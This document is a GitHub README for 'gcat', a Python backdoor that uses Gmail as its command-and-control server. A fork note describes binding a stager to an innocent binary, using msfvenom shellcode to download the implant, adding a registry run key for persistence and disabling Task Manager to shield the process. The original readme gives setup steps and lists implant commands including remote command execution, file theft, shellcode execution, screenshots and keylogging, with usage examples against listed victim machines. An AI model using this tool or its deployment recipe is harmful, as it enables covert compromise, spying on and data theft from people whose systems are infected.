NullArray / gcat

A fully featured backdoor that uses Gmail as a C&C server

[Fork Note]

First off the credit for the backdoor and controller go to byt3bl33d3r https://github.com/byt3bl33d3r. Thanks for this sweet tool.

That being said the original did not offer anything by way of persistence so this is my attempt to remedy that. The general idea is that the compiled implant would be uploaded to a remote host and the stager bound to an innocent binary for deployment.

Once executed the stager will run shellcode generated in example by the metasploit framework's msfvenom, to download the implant to a predefined directory, the path for which will be specified within the shellcode and the stager before compiling. The shellcode will then execute the implant.

Finally i've added some logic to have the stager add a registry entry to point to the path of the implant to have it run at boot.

The stager now also disables the task manager to somewhat protect the implant.exe process from being terminated.

Please note that this is a work in progress and that some improvement may be desirable.

On how to operate the rest of the tool please see the original readme below.

Gcat

A stealthy Python based backdoor that uses Gmail as a command and control server

Setup

For this to work you need:

• A Gmail account (Use a dedicated account! Do not use your personal one!)
• Turn on "Allow less secure apps" under the security settings of the account
• You may also have to enable IMAP in the account settings

This repo contains two files:

• gcat.py a script that's used to enumerate and issue commands to available clients
• implant.py the actual backdoor to deploy

In both files, edit the gmail_user and gmail_pwd variables with the username and password of the account you previously setup.

You're probably going to want to compile implant.py into an executable using Pyinstaller

Note: It's recommended you compile implant.py using a 32bit Python installation

Usage

                                             dP   
                                             88   
                .d8888b. .d8888b. .d8888b. d8888P 
                88'  `88 88'  `"" 88'  `88   88   
                88.  .88 88.  ... 88.  .88   88   
                `8888P88 `88888P' `88888P8   dP   
                     .88                          
                 d8888P  
                     

                   .__....._             _.....__,
                     .": o :':         ;': o :".
                     `. `-' .'.       .'. `-' .'   
                       `---'             `---'  

             _...----...      ...   ...      ...----..._
          .-'__..-''----    `.  `"`  .'    ----'''-..__`-.
         '.-'   _.--'''       `-._.-'       ''''--._   `-.`
         '  .-"'                  :                  `"-.  `
           '   `.              _.'"'._              .'   `
                 `.       ,.-'"       "'-.,       .'
                   `.                           .'
              jgs    `-._                   _.-'
                         `"'--...___...--'"`

                     ...IM IN YUR COMPUTERZ...

                        WATCHIN YUR SCREENZ

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Meow!

• Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

The output is a UUID string that uniquely identifies the system and the OS the implant is running on

• Let's issue a command to an implant:

#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all, the script then outputs the jobid that we can use to retrieve the output of that command

• Lets get the results!

#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

-- SNIP --

• That's the gist of it! But you can do much more as you can see from the usage of the script! ;)

To Do

• Multi-platform support
• Command to upload files
• Transport crypto & obfuscation